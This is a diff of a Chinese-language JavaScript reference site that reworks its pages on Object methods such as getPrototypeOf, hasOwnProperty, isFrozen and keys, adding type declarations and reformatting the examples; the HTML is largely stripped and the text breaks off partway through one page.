                                                                            参数说明类型
                                                                            O用于获取 Symbol Property 键名的目标对象object

                                                                            返回值:

                                                                            返回目标对象 Symbol 组成的数组。

                                                                            代码示例

                                                                            const foo = {};
                                                                            const a = Symbol('a');
                                                                            const b = Symbol('b');
                                                                            foo[a] = 'localSymbol';
                                                                            foo[b] = 'globalSymbol';
                                                                            const bar = Object.getOwnPropertySymbols(foo);
                                                                            -
                                                                            console.log(bar.length);
                                                                            // 2
                                                                            console.log(bar);
                                                                            // [Symbol(a), Symbol(b)]
                                                                            console.log(bar[0]);
                                                                            // Symbol(a)
                                                                            +
                                                                            console.log(bar.length);
                                                                            // 2
                                                                            console.log(bar);
                                                                            // [Symbol(a), Symbol(b)]
                                                                            console.log(bar[0]);
                                                                            // Symbol(a)

                                                                            参考资料

                                                                            - + diff --git a/standard-built-in-objects/fundamental-objects/object/get-prototype-of/index.html b/standard-built-in-objects/fundamental-objects/object/get-prototype-of/index.html index 0b52330a8..7bd0cdbd9 100644 --- a/standard-built-in-objects/fundamental-objects/object/get-prototype-of/index.html +++ b/standard-built-in-objects/fundamental-objects/object/get-prototype-of/index.html @@ -7,38 +7,41 @@ content="width=device-width, initial-scale=1, maximum-scale=1, minimum-scale=1, user-scalable=no" /> - + Object.getPrototypeOf - JavaScript Guidebook -

                                                                            JavaScript Guidebook

                                                                            JavaScript 完全知识体系

                                                                            Object.getPrototypeOf

                                                                            Object.getPrototypeOf() 方法用于获取指定对象的原型(内部 [[Prototype]] 属性的值)。

                                                                            语法

                                                                            Object.getPrototypeOf(O);
                                                                            参数说明类型
                                                                            O目标对象object

                                                                            返回目标对象的原型对象。

                                                                            示例

                                                                            基本示例

                                                                            const proto = {};
                                                                            +

                                                                            JavaScript Guidebook

                                                                            JavaScript 完全知识体系

                                                                            Object.getPrototypeOf

                                                                            Object.getPrototypeOf() 方法用于获取指定对象的原型(内部 [[Prototype]] 属性的值)。

                                                                            语法

                                                                            语法:

                                                                            Object.getPrototypeOf(o);

                                                                            类型声明:

                                                                            interface ObjectConstructor {
                                                                            getPrototypeOf(o: any): any;
                                                                            }

                                                                            参数说明:

                                                                            参数说明类型
                                                                            o目标对象object

                                                                            返回值:

                                                                            返回目标对象的原型对象。

                                                                            代码示例

                                                                            基本示例

                                                                            const proto = {};
                                                                            const foo = Object.create(proto);
                                                                            Object.getPrototypeOf(foo) === proto;
                                                                            // true
                                                                            const reg = /a/;
                                                                            Object.getPrototypeOf(reg) === Regexp.prototype;
                                                                            // true

                                                                            标准内置对象

                                                                            const foo = new Object();
                                                                            Object.getPropertyOf(Object);
                                                                            // f () { [native code] }
                                                                            Object.getPropertyOf(Function);
                                                                            // f () { [native code] }
                                                                            Object.getPropertyOf(Object) === Function.prototype;
                                                                            // true
                                                                            -
                                                                            const bar = new Object();
                                                                            Object.prototype === Object.getPrototypeOf(bar);
                                                                            // true
                                                                            Obejct.prototype === Object.getPrototypeOf({});
                                                                            // true
                                                                            +
                                                                            const bar = new Object();
                                                                            Object.prototype === Object.getPrototypeOf(bar);
                                                                            // true
                                                                            Obejct.prototype === Object.getPrototypeOf({});
                                                                            // true

                                                                            参考资料

                                                                            - + diff --git a/standard-built-in-objects/fundamental-objects/object/has-own-property/index.html b/standard-built-in-objects/fundamental-objects/object/has-own-property/index.html index 30ea745aa..caa204794 100644 --- a/standard-built-in-objects/fundamental-objects/object/has-own-property/index.html +++ b/standard-built-in-objects/fundamental-objects/object/has-own-property/index.html @@ -7,39 +7,43 @@ content="width=device-width, initial-scale=1, maximum-scale=1, minimum-scale=1, user-scalable=no" /> - + Object.prototype.hasOwnProperty - JavaScript Guidebook -

                                                                            JavaScript Guidebook

                                                                            JavaScript 完全知识体系

                                                                            Object.prototype.hasOwnProperty

                                                                            Object.prototype.hasOwnProperty 方法用于检测指定对象自有 Properties 中是否具有指定的 Property。

                                                                            语法

                                                                            O.prototype.hasOwnProperty(V);
                                                                            参数说明类型
                                                                            V需要检测的 Property 字符串名称或者 Symbolstring/symbol

                                                                            返回该对象是否含有指定 Property 的 Boolean 值。

                                                                            描述

                                                                            所有继承了 Object 的对象都会继承到 hasOwnProperty 方法。

                                                                            这个方法可以用来检测一个对象是否含有特定的自身属性;和 in 运算符不同,该方法会忽略掉那些从原型链上继承到的属性。

                                                                            示例

                                                                            基本示例

                                                                            const foo = new Object();
                                                                            foo.a = 'exist';
                                                                            +

                                                                            JavaScript Guidebook

                                                                            JavaScript 完全知识体系

                                                                            Object.prototype.hasOwnProperty

                                                                            Object.prototype.hasOwnProperty 方法用于检测指定对象自有 Properties 中是否具有指定的 Property。

                                                                            语法

                                                                            语法:

                                                                            obj.hasOwnProperty(v);

                                                                            类型声明:

                                                                            declare type PropertyKey = string | number | symbol;
                                                                            +
                                                                            interface Object {
                                                                            hasOwnProperty(v: PropertyKey): boolean;
                                                                            }

                                                                            参数说明:

                                                                            参数说明类型
                                                                            v需要检测的 Property 字符串名称或者 Symbolstring/symbol

                                                                            返回值:

                                                                            返回该对象是否含有指定 Property 的 Boolean 值。

                                                                            方法说明

                                                                            所有继承了 Object 的对象都会继承到 hasOwnProperty 方法。

                                                                            这个方法可以用来检测一个对象是否含有特定的自身属性;和 in 运算符不同,该方法会忽略掉那些从原型链上继承到的属性。

                                                                            代码示例

                                                                            基本用法

                                                                            const foo = new Object();
                                                                            foo.a = 'exist';
                                                                            function change() {
                                                                            foo.b = foo.a;
                                                                            delete foo.a;
                                                                            }
                                                                            foo.hasOwnProperty('a');
                                                                            // true
                                                                            change();
                                                                            foo.hasOwnProperty('b');
                                                                            // false

                                                                            自有属性与继承属性

                                                                            const foo = new Object();
                                                                            foo.a = 'Hello world!';
                                                                            -
                                                                            foo.hasOwnProperty('a');
                                                                            // true
                                                                            foo.hasOwnProperty('toString');
                                                                            // false
                                                                            foo.hasOwnProperty('hasOwnProperty');
                                                                            // false
                                                                            +
                                                                            foo.hasOwnProperty('a');
                                                                            // true
                                                                            foo.hasOwnProperty('toString');
                                                                            // false
                                                                            foo.hasOwnProperty('hasOwnProperty');
                                                                            // false

                                                                            参考资料

                                                                            - + diff --git a/standard-built-in-objects/fundamental-objects/object/index.html b/standard-built-in-objects/fundamental-objects/object/index.html index 665606a95..719fb3d7f 100644 --- a/standard-built-in-objects/fundamental-objects/object/index.html +++ b/standard-built-in-objects/fundamental-objects/object/index.html @@ -7,33 +7,36 @@ content="width=device-width, initial-scale=1, maximum-scale=1, minimum-scale=1, user-scalable=no" /> - + JavaScript Guidebook -

                                                                            JavaScript Guidebook

                                                                            JavaScript 完全知识体系

                                                                            +

                                                                            JavaScript Guidebook

                                                                            JavaScript 完全知识体系

                                                                            - + diff --git a/standard-built-in-objects/fundamental-objects/object/is-extensible/index.html b/standard-built-in-objects/fundamental-objects/object/is-extensible/index.html index efaa2c2d6..4fc61302c 100644 --- a/standard-built-in-objects/fundamental-objects/object/is-extensible/index.html +++ b/standard-built-in-objects/fundamental-objects/object/is-extensible/index.html @@ -7,39 +7,42 @@ content="width=device-width, initial-scale=1, maximum-scale=1, minimum-scale=1, user-scalable=no" /> - + Object.isExtensible - JavaScript Guidebook -

                                                                            JavaScript Guidebook

                                                                            JavaScript 完全知识体系

                                                                            Object.isExtensible

                                                                            Object.isExtensible() 方法用于检测指定对象是否可扩展。

                                                                            语法

                                                                            Object.isExtensible(O);
                                                                            参数说明类型
                                                                            O指定用于检测的对象object

                                                                            返回 Boolean 类型的值表示用于检测的对象是否可扩展。

                                                                            描述

                                                                            默认情况下,对象是可扩展的:即可以为他们添加新的属性。

                                                                            Object.preventExtensionsObject.sealObject.freeze 方法都可以标记一个对象为不可扩展(non-extensible)。

                                                                            示例

                                                                            let foo = {
                                                                            a: 1,
                                                                            };
                                                                            console.log(Object.isExtensible(foo));
                                                                            // true
                                                                            +

                                                                            JavaScript Guidebook

                                                                            JavaScript 完全知识体系

                                                                            Object.isExtensible

                                                                            Object.isExtensible() 方法用于检测指定对象是否可扩展。

                                                                            语法

                                                                            语法:

                                                                            Object.isExtensible(o);

                                                                            类型声明:

                                                                            interface Object {
                                                                            isExtensible(o: any): boolean;
                                                                            }

                                                                            参数说明:

                                                                            参数说明类型
                                                                            o指定用于检测的对象object

                                                                            返回值:

                                                                            返回 Boolean 类型的值表示用于检测的对象是否可扩展。

                                                                            方法说明

                                                                            默认情况下,对象是可扩展的:即可以为他们添加新的属性。

                                                                            Object.preventExtensionsObject.sealObject.freeze 方法都可以标记一个对象为不可扩展(non-extensible)。

                                                                            代码示例

                                                                            let foo = {
                                                                            a: 1,
                                                                            };
                                                                            console.log(Object.isExtensible(foo));
                                                                            // true
                                                                            foo.b = 2;
                                                                            console.log(foo);
                                                                            // {a: 1, b: 2}
                                                                            console.log(Object.preventExtensions(foo));
                                                                            // { a: 1, b: 2}
                                                                            // 由于对象 foo 禁止扩展,所以该赋值语句静默失败
                                                                            foo.c = 3;
                                                                            console.log(Object.isExtensible(foo));
                                                                            // false
                                                                            -
                                                                            console.log(foo);
                                                                            // { a: 1, b: 2}
                                                                            +
                                                                            console.log(foo);
                                                                            // { a: 1, b: 2}

                                                                            参考资料

                                                                            - + diff --git a/standard-built-in-objects/fundamental-objects/object/is-frozen/index.html b/standard-built-in-objects/fundamental-objects/object/is-frozen/index.html index 7b9f8ef60..6722d65c0 100644 --- a/standard-built-in-objects/fundamental-objects/object/is-frozen/index.html +++ b/standard-built-in-objects/fundamental-objects/object/is-frozen/index.html @@ -7,28 +7,31 @@ content="width=device-width, initial-scale=1, maximum-scale=1, minimum-scale=1, user-scalable=no" /> - + Object.isFrozen - JavaScript Guidebook -

                                                                            JavaScript Guidebook

                                                                            JavaScript 完全知识体系

                                                                            Object.isFrozen

                                                                            Object.isFrozen() 方法用来检测指定对象是否已被冻结。

                                                                            语法

                                                                            Object.isFrozen(O);
                                                                            参数说明类型
                                                                            O指定用于检测的对象object

                                                                            返回 Boolean 类型的值表示用于检测的对象是否被冻结。

                                                                            描述

                                                                            被冻结的对象不可扩展,所有 Property 均不可配置,且所有数据属性(即没有 gettersetter 组件的访问器的属性 )都是不可写的。

                                                                            示例

                                                                            基本示例

                                                                            let foo = {
                                                                            a: 1,
                                                                            b: 2,
                                                                            };
                                                                            +

                                                                            JavaScript Guidebook

                                                                            JavaScript 完全知识体系

                                                                            Object.isFrozen

                                                                            Object.isFrozen() 方法用来检测指定对象是否已被冻结。

                                                                            语法

                                                                            语法:

                                                                            Object.isFrozen(o);

                                                                            类型声明:

                                                                            interface Object {
                                                                            isFrozen(o: any): boolean;
                                                                            }

                                                                            参数说明:

                                                                            参数说明类型
                                                                            o指定用于检测的对象object

                                                                            返回 Boolean 类型的值表示用于检测的对象是否被冻结。

                                                                            方法说明

                                                                            被冻结的对象不可扩展,所有 Property 均不可配置,且所有数据属性(即没有 gettersetter 组件的访问器的属性 )都是不可写的。

                                                                            代码

                                                                            基本用法

                                                                            let foo = {
                                                                            a: 1,
                                                                            b: 2,
                                                                            };
                                                                            console.log(Object.isFrozen(foo));
                                                                            // false
                                                                            console.log(Object.freeze(foo));
                                                                            // {a: 1, b: 2}
                                                                            console.log(Object.isFrozen(foo));
                                                                            // true
                                                                            @@ -36,12 +39,12 @@
                                                                            console.log(foo);
                                                                            // { a: 1, b: 2 }

                                                                            Object.freeze 方法实际上会在现有对象上调用 Object.seal() 方法,并把所有现有属性的 writable 描述符置为 false

                                                                            let foo = {
                                                                            a: 1,
                                                                            };
                                                                            // { value: 1, writable: true, enumerable: true, configurable: true }
                                                                            console.log(Object.getOwnPropertyDescriptor(foo, 'a'));
                                                                            console.log(Object.freeze(foo));
                                                                            // { a: 1 }
                                                                            -
                                                                            // { value: 1, writable: false, enumerable: true, configurable: false }
                                                                            console.log(Object.getOwnPropertyDescriptor(foo, 'a'));
                                                                            +
                                                                            // { value: 1, writable: false, enumerable: true, configurable: false }
                                                                            console.log(Object.getOwnPropertyDescriptor(foo, 'a'));

                                                                            参考资料

                                                                            - + diff --git a/standard-built-in-objects/fundamental-objects/object/is-prototype-of/index.html b/standard-built-in-objects/fundamental-objects/object/is-prototype-of/index.html index 80a723eab..e379a5e82 100644 --- a/standard-built-in-objects/fundamental-objects/object/is-prototype-of/index.html +++ b/standard-built-in-objects/fundamental-objects/object/is-prototype-of/index.html @@ -7,39 +7,42 @@ content="width=device-width, initial-scale=1, maximum-scale=1, minimum-scale=1, user-scalable=no" /> - + Object.prototype.isPrototypeOf - JavaScript Guidebook -

                                                                            JavaScript Guidebook

                                                                            JavaScript 完全知识体系

                                                                            Object.prototype.isPrototypeOf

                                                                            Object.prototype.isPrototypeOf() 方法用于测试指定对象是否存在于目标对象的原型链上。

                                                                            语法

                                                                            O.prototype.isPrototypeOf(V);
                                                                            参数说明类型
                                                                            V目标对象(在该对象原型链上搜寻)object

                                                                            返回指定对象是否位于目标对象原型链上的 Boolean 类型值。

                                                                            示例

                                                                            function Foo() {}
                                                                            function Bar() {}
                                                                            function Baz() {}
                                                                            +

                                                                            JavaScript Guidebook

                                                                            JavaScript 完全知识体系

                                                                            Object.prototype.isPrototypeOf

                                                                            Object.prototype.isPrototypeOf() 方法用于测试指定对象是否存在于目标对象的原型链上。

                                                                            语法

                                                                            语法:

                                                                            obj.isPrototypeOf(V);

                                                                            类型声明:

                                                                            interface Object {
                                                                            isPrototypeOf(v: Object): boolean;
                                                                            }

                                                                            参数说明:

                                                                            参数说明类型
                                                                            V目标对象(在该对象原型链上搜寻)object

                                                                            返回值:

                                                                            返回指定对象是否位于目标对象原型链上的 Boolean 类型值。

                                                                            代码示例

                                                                            function Foo() {}
                                                                            function Bar() {}
                                                                            function Baz() {}
                                                                            Bar.prototype = Object.create(Foo.prototype);
                                                                            Baz.prototype = Object.create(Bar.prototype);
                                                                            const baz = new Baz();
                                                                            console.log(Baz.prototype.isPrototypeOf(baz));
                                                                            // true
                                                                            console.log(Bar.prototype.isPrototypeOf(baz));
                                                                            // true
                                                                            console.log(Foo.prototype.isPrototypeOf(baz));
                                                                            // true
                                                                            -
                                                                            console.log(Object.prototype.isPrototypeOf(baz));
                                                                            // true
                                                                            +
                                                                            console.log(Object.prototype.isPrototypeOf(baz));
                                                                            // true

                                                                            参考资料

                                                                            - + diff --git a/standard-built-in-objects/fundamental-objects/object/is-sealed/index.html b/standard-built-in-objects/fundamental-objects/object/is-sealed/index.html index 197a65879..6151c8995 100644 --- a/standard-built-in-objects/fundamental-objects/object/is-sealed/index.html +++ b/standard-built-in-objects/fundamental-objects/object/is-sealed/index.html @@ -7,28 +7,31 @@ content="width=device-width, initial-scale=1, maximum-scale=1, minimum-scale=1, user-scalable=no" /> - + Object.isSealed - JavaScript Guidebook -

                                                                            JavaScript Guidebook

                                                                            JavaScript 完全知识体系

                                                                            Object.isSealed

                                                                            Object.isSealed() 方法用于检测指定对象是否已被密封。

                                                                            语法

                                                                            Object.isSealed(O);
                                                                            参数说明类型
                                                                            O指定用于检测的对象object

                                                                            返回 Boolean 类型的值表示用于检测的对象是否可扩展。

                                                                            描述

                                                                            密封对象不可扩展,自身 Property 不可配置并且不可删除(但不一定是不可写)对象。

                                                                            示例

                                                                            let foo = { a: 1, b: 2 };
                                                                            +

                                                                            JavaScript Guidebook

                                                                            JavaScript 完全知识体系

                                                                            Object.isSealed

                                                                            Object.isSealed() 方法用于检测指定对象是否已被密封。

                                                                            语法

                                                                            语法:

                                                                            Object.isSealed(o);

                                                                            类型声明:

                                                                            interface ObjectConstructor {
                                                                            isSealed(o: any): boolean;
                                                                            }

                                                                            参数说明:

                                                                            参数说明类型
                                                                            o指定用于检测的对象object

                                                                            返回值:

                                                                            返回 Boolean 类型的值表示用于检测的对象是否可扩展。

                                                                            方法说明

                                                                            密封对象不可扩展,自身 Property 不可配置并且不可删除(但不一定是不可写)对象。

                                                                            代码示例

                                                                            let foo = { a: 1, b: 2 };
                                                                            console.log(Object.isSealed(foo));
                                                                            // false
                                                                            console.log(Object.seal(foo));
                                                                            // { a: 1, b: 2 }
                                                                            console.log(Object.isSealed(foo));
                                                                            // true
                                                                            @@ -37,12 +40,12 @@
                                                                            console.log(foo);
                                                                            // { a: 1, b: 2 }

                                                                            这个方法实际上会在现有对象上调用 Object.preventExtensions() 方法,并把所有现有属性的 configurable 描述符置为 false

                                                                            let foo = { a: 1, b: 2 };
                                                                            console.log(Object.getOwnPropertyDescriptor(foo, 'a'));
                                                                            // { value: 1, writable: true, enumerable: true, configurable: true }
                                                                            console.log(Object.seal(foo));
                                                                            // {a: 1, b: 2}
                                                                            -
                                                                            console.log(Object.getOwnPropertyDescriptor(foo, 'a'));
                                                                            // { value: 1, writable: true, enumerable: true, configurable: false }
                                                                            +
                                                                            console.log(Object.getOwnPropertyDescriptor(foo, 'a'));
                                                                            // { value: 1, writable: true, enumerable: true, configurable: false }

                                                                            参考资料

                                                                            - + diff --git a/standard-built-in-objects/fundamental-objects/object/is/index.html b/standard-built-in-objects/fundamental-objects/object/is/index.html index dbd6bf5a3..7437e6f82 100644 --- a/standard-built-in-objects/fundamental-objects/object/is/index.html +++ b/standard-built-in-objects/fundamental-objects/object/is/index.html @@ -7,39 +7,42 @@ content="width=device-width, initial-scale=1, maximum-scale=1, minimum-scale=1, user-scalable=no" /> - + Object.is - JavaScript Guidebook -

                                                                            JavaScript Guidebook

                                                                            JavaScript 完全知识体系

                                                                            Object.is

                                                                            Object.is() 方法用于判断两个值是否是相同的值。

                                                                            语法

                                                                            Object.is(value1, value2);
                                                                            参数说明类型
                                                                            value1比较值 1any
                                                                            value2比较值 2any

                                                                            返回判断表达式的结果。

                                                                            描述

                                                                            判断下列任何一项成立,则两个值相同:

                                                                            • 两个值均为 undefined
                                                                            • 两个值均为 null
                                                                            • 两个值都是 truefalse
                                                                            • 两个值是由相同个数的字符按照相同顺序组成的字符串
                                                                            • 两个值指向同一个对象
                                                                            • 两个值都是数字并且
                                                                              • 都是正零 +0
                                                                              • 都是负零 -0
                                                                              • 都是 NaN
                                                                              • 都是除零和 NaN 外的其他同一个数字

                                                                            这种相等性判断逻辑和传统的 == 运算不同,== 运算符会对它两边的操作数做隐式类型转换,然后才进行相等性比较,(所以才会有类似 "" == false 等于 true 的现象),但 Object.is 不会做这种类型转换。

                                                                            这与 === 运算符的判定方式也不一样。=== 运算符(和 == 运算符)将数字值 -0+0 视为相等,并认为 Number.NaN 不等于 NaN

                                                                            示例

                                                                            Object.is(undefined, undefined);
                                                                            // true
                                                                            +

                                                                            JavaScript Guidebook

                                                                            JavaScript 完全知识体系

                                                                            Object.is

                                                                            Object.is() 方法用于判断两个值是否是相同的值。

                                                                            语法

                                                                            语法:

                                                                            Object.is(value1, value2);

                                                                            类型声明:

                                                                            interface ObjectConstruct {
                                                                            is(value1: any, value2: any): boolean;
                                                                            }

                                                                            参数说明:

                                                                            参数说明类型
                                                                            value1比较值 1any
                                                                            value2比较值 2any

                                                                            返回值:

                                                                            返回判断表达式的结果。

                                                                            方法说明

                                                                            判断下列任何一项成立,则两个值相同:

                                                                            • 两个值均为 undefined
                                                                            • 两个值均为 null
                                                                            • 两个值都是 truefalse
                                                                            • 两个值是由相同个数的字符按照相同顺序组成的字符串
                                                                            • 两个值指向同一个对象
                                                                            • 两个值都是数字并且
                                                                              • 都是正零 +0
                                                                              • 都是负零 -0
                                                                              • 都是 NaN
                                                                              • 都是除零和 NaN 外的其他同一个数字

                                                                            这种相等性判断逻辑和传统的 == 运算不同,== 运算符会对它两边的操作数做隐式类型转换,然后才进行相等性比较,(所以才会有类似 "" == false 等于 true 的现象),但 Object.is 不会做这种类型转换。

                                                                            这与 === 运算符的判定方式也不一样。=== 运算符(和 == 运算符)将数字值 -0+0 视为相等,并认为 Number.NaN 不等于 NaN

                                                                            代码示例

                                                                            Object.is(undefined, undefined);
                                                                            // true
                                                                            Object.is(null, null);
                                                                            // true
                                                                            Object.is(true, true);
                                                                            // true
                                                                            Object.is(100, 100);
                                                                            // true
                                                                            Object.is('foo', 'bar');
                                                                            // false
                                                                            Object.is([], []);
                                                                            // false
                                                                            -
                                                                            Object.is(0, -0);
                                                                            // false
                                                                            Object.is(-0, -0);
                                                                            // true
                                                                            Object.is(NaN, 0 / 0);
                                                                            // true
                                                                            +
                                                                            Object.is(0, -0);
                                                                            // false
                                                                            Object.is(-0, -0);
                                                                            // true
                                                                            Object.is(NaN, 0 / 0);
                                                                            // true

                                                                            参考资料

                                                                            - + diff --git a/standard-built-in-objects/fundamental-objects/object/keys/index.html b/standard-built-in-objects/fundamental-objects/object/keys/index.html index 6d4d1737b..3a38772a2 100644 --- a/standard-built-in-objects/fundamental-objects/object/keys/index.html +++ b/standard-built-in-objects/fundamental-objects/object/keys/index.html @@ -7,37 +7,40 @@ content="width=device-width, initial-scale=1, maximum-scale=1, minimum-scale=1, user-scalable=no" /> - + Object.keys - JavaScript Guidebook -

                                                                            JavaScript Guidebook

                                                                            JavaScript 完全知识体系

                                                                            Object.keys

                                                                            Object.keys() 方法用于获取指定对象自身可枚举 Property 组成的键名数组。

                                                                            语法

                                                                            Object.keys(O);
                                                                            参数说明类型
                                                                            O指定对象object

                                                                            返回对象所有可枚举 Property 的键名组成的数组。

                                                                            描述

                                                                            获取到的数组中键名顺序与使用 for 系列循环语句获取到的键名顺序一致。

                                                                            示例

                                                                            数组

                                                                            const foo = ['a', 'b', 'c'];
                                                                            +

                                                                            JavaScript Guidebook

                                                                            JavaScript 完全知识体系

                                                                            Object.keys

                                                                            Object.keys() 方法用于获取指定对象自身可枚举 Property 组成的键名数组。

                                                                            语法

                                                                            语法:

                                                                            Object.keys(o);

                                                                            类型声明:

                                                                            interface ObjectConstructor {
                                                                            keys(o: {}): string[];
                                                                            }

                                                                            参数说明:

                                                                            参数说明类型
                                                                            o指定对象object

                                                                            返回对象所有可枚举 Property 的键名组成的数组。

                                                                            方法说明

                                                                            获取到的数组中键名顺序与使用 for 系列循环语句获取到的键名顺序一致。

                                                                            代码示例

                                                                            数组

                                                                            const foo = ['a', 'b', 'c'];
                                                                            console.log(Object.keys(foo));
                                                                            // console: ['0', '1', '2']

                                                                            类数组

                                                                            const foo = { 0: 'a', 1: 'b', 2: 'c' };
                                                                            -
                                                                            console.log(Object.keys(foo));
                                                                            // console: ['0', '1', '2']

                                                                            不可枚举属性

                                                                            // getBar is a property which isn't enumerable
                                                                            const foo = Object.create(
                                                                            {},
                                                                            {
                                                                            getBar: {
                                                                            value: function() {
                                                                            return this.bar;
                                                                            },
                                                                            },
                                                                            }
                                                                            );
                                                                            +
                                                                            console.log(Object.keys(foo));
                                                                            // console: ['0', '1', '2']

                                                                            不可枚举属性

                                                                            // getBar is a property which isn't enumerable
                                                                            const foo = Object.create(
                                                                            {},
                                                                            {
                                                                            getBar: {
                                                                            value: function () {
                                                                            return this.bar;
                                                                            },
                                                                            },
                                                                            }
                                                                            );
                                                                            foo.bar = 1;
                                                                            -
                                                                            console.log(Object.keys(foo));
                                                                            // ['bar']
                                                                            +
                                                                            console.log(Object.keys(foo));
                                                                            // ['bar']

                                                                            参考资料

                                                                            - + diff --git a/standard-built-in-objects/fundamental-objects/object/object/index.html b/standard-built-in-objects/fundamental-objects/object/object/index.html index 3eff6b1b0..1ffa50873 100644 --- a/standard-built-in-objects/fundamental-objects/object/object/index.html +++ b/standard-built-in-objects/fundamental-objects/object/object/index.html @@ -7,39 +7,42 @@ content="width=device-width, initial-scale=1, maximum-scale=1, minimum-scale=1, user-scalable=no" /> - + Object - JavaScript Guidebook -

                                                                            JavaScript Guidebook

                                                                            JavaScript 完全知识体系

                                                                            Object

                                                                            JavaScript 中的 Object 对象,是 JavaScript 中所有对象的基类,也就是说 JavaScript 中的所有对象都是由 Object 对象衍生的。Object 对象主要用于将任意数据封装成对象形式。

                                                                            对象也可看做是属性的无序集合,每个属性都是一个名值对。属性名是字符串,因此我们可以把对象看成是从字符串到值的映射

                                                                            语法

                                                                            构造函数

                                                                            new Object([value]);

                                                                            对象类型转换函数

                                                                            Object([value]);
                                                                            参数说明类型
                                                                            value可选参数,需要包装为对象的值any

                                                                            Object() 将会根据参数 value 的数据类型,返回对应类型的对象:

                                                                            • 如果 value 为原始数据类型 Boolean、Number、String,则返回对应类型的对象,例如:Boolean 对象、Number 对象、String 对象。
                                                                            • 如果 value 本身为对象,则不对其作任何更改,返回其本身。
                                                                            • 如果省略了 value 参数,或 valuenullundefined,则返回自身无任何属性的 Object 对象。

                                                                            Object() 的返回一个与给定值对应类型的对象。该对象包装了给定的参数。

                                                                            构造函数

                                                                            属性

                                                                            • Object.length:值为 1
                                                                            • Object.prototype:表示 Object 的原型对象

                                                                            方法

                                                                            原型对象

                                                                            JavaScript 中的所有对象都来自 Object,所有对象从 Object.prototype 继承方法和属性,尽管它们可能被覆盖。

                                                                            属性

                                                                            • Object.prototype.constructor:返回创建实例对象的 Object 构造函数的引用。注意,此属性的值是对函数本身的引用,而不是一个包含函数名称的字符串。该值为只读的原始类型,如 1true'test'
                                                                            • Object.prototype.__proto__:指向当对象被实例化的时候,用作原型的对象
                                                                            • Object.prototype.__noSuchMethod:当未定义的对象成员被调用作方法的时候,允许定义并执行的函数

                                                                            方法

                                                                            示例

                                                                            如果参数为原始数据类型,则返回对应类型的对象。

                                                                            const a = new Object(true);
                                                                            console.log(a);
                                                                            // Boolean {true}
                                                                            +

                                                                            JavaScript Guidebook

                                                                            JavaScript 完全知识体系

                                                                            Object

                                                                            JavaScript 中的 Object 对象,是 JavaScript 中所有对象的基类,也就是说 JavaScript 中的所有对象都是由 Object 对象衍生的。Object 对象主要用于将任意数据封装成对象形式。

                                                                            对象也可看做是属性的无序集合,每个属性都是一个名值对。属性名是字符串,因此我们可以把对象看成是从字符串到值的映射

                                                                            语法

                                                                            构造函数

                                                                            new Object([value]);

                                                                            对象类型转换函数

                                                                            Object([value]);
                                                                            参数说明类型
                                                                            value可选参数,需要包装为对象的值any

                                                                            Object() 将会根据参数 value 的数据类型,返回对应类型的对象:

                                                                            • 如果 value 为原始数据类型 Boolean、Number、String,则返回对应类型的对象,例如:Boolean 对象、Number 对象、String 对象。
                                                                            • 如果 value 本身为对象,则不对其作任何更改,返回其本身。
                                                                            • 如果省略了 value 参数,或 valuenullundefined,则返回自身无任何属性的 Object 对象。

                                                                            Object() 的返回一个与给定值对应类型的对象。该对象包装了给定的参数。

                                                                            构造函数

                                                                            属性

                                                                            • Object.length:值为 1
                                                                            • Object.prototype:表示 Object 的原型对象

                                                                            方法

                                                                            原型对象

                                                                            JavaScript 中的所有对象都来自 Object,所有对象从 Object.prototype 继承方法和属性,尽管它们可能被覆盖。

                                                                            属性

                                                                            • Object.prototype.constructor:返回创建实例对象的 Object 构造函数的引用。注意,此属性的值是对函数本身的引用,而不是一个包含函数名称的字符串。该值为只读的原始类型,如 1true'test'
                                                                            • Object.prototype.__proto__:指向当对象被实例化的时候,用作原型的对象
                                                                            • Object.prototype.__noSuchMethod:当未定义的对象成员被调用作方法的时候,允许定义并执行的函数

                                                                            方法

                                                                            示例

                                                                            如果参数为原始数据类型,则返回对应类型的对象。

                                                                            const a = new Object(true);
                                                                            console.log(a);
                                                                            // Boolean {true}
                                                                            var b = new Object(8);
                                                                            console.log(b);
                                                                            // Number {8}
                                                                            var c = new Object('string');
                                                                            console.log(c);
                                                                            // String {"string"}

                                                                            如果参数自身就是对象typeof 该参数返回 "object""function"),则不对其作任何更改,返回其本身。

                                                                            var a = new Object(Boolean());
                                                                            console.log(a);
                                                                            // Boolean{false}
                                                                            var b = new Object(Number());
                                                                            console.log(b);
                                                                            // Number{0}
                                                                            var c = new Object(String());
                                                                            console.log(c);
                                                                            // String{"", length: 0}

                                                                            如果未指定参数,或参数为 nullundefined,则返回一个空对象。

                                                                            var a = new Object();
                                                                            console.log(a);
                                                                            // {}
                                                                            var b = new Object(undefined);
                                                                            console.log(b);
                                                                            // {}
                                                                            -
                                                                            var c = new Object(null);
                                                                            console.log(c);
                                                                            // {}
                                                                            +
                                                                            var c = new Object(null);
                                                                            console.log(c);
                                                                            // {}
                                                                            - + diff --git a/standard-built-in-objects/fundamental-objects/object/prevent-extensions/index.html b/standard-built-in-objects/fundamental-objects/object/prevent-extensions/index.html index 3e092606f..7c4e67337 100644 --- a/standard-built-in-objects/fundamental-objects/object/prevent-extensions/index.html +++ b/standard-built-in-objects/fundamental-objects/object/prevent-extensions/index.html @@ -7,36 +7,39 @@ content="width=device-width, initial-scale=1, maximum-scale=1, minimum-scale=1, user-scalable=no" /> - + Object.preventExtensions - JavaScript Guidebook -

                                                                            JavaScript Guidebook

                                                                            JavaScript 完全知识体系

                                                                            Object.preventExtensions

                                                                            Object.preventExtensions() 方法用于令指定对象无法再添加新的属性。

                                                                            语法

                                                                            Object.preventExtensions(O);
                                                                            参数说明类型
                                                                            O将标记为不可扩展的对象object

                                                                            返回处理后的对象。

                                                                            描述

                                                                            如果一个对象可以添加新的属性,则这个对象是可扩展的。

                                                                            Object.preventExtensions 能将对象标记为不可扩展,因此它将永远不会具有超出它被标记为不可扩展的 Properties。

                                                                            ⚠️ 注意:一般来说,不可扩展对象的属性可能仍然可被删除。

                                                                            该方法仅阻止添加自身的属性。但属性仍然可以添加到对象原型。

                                                                            一旦使其不可扩展,就无法再对象进行扩展。

                                                                            示例

                                                                            字面量方式创建的对象默认是可扩展的。

                                                                            const foo = {};
                                                                            Object.isExtensible(foo);
                                                                            // true

                                                                            但是可以改变。

                                                                            Object.preventExtensions(foo);
                                                                            +

                                                                            JavaScript Guidebook

                                                                            JavaScript 完全知识体系

                                                                            Object.preventExtensions

                                                                            Object.preventExtensions() 方法用于令指定对象无法再添加新的属性。

                                                                            语法

                                                                            语法:

                                                                            Object.preventExtensions(o);

                                                                            类型声明:

                                                                            interface ObjectConstructor {
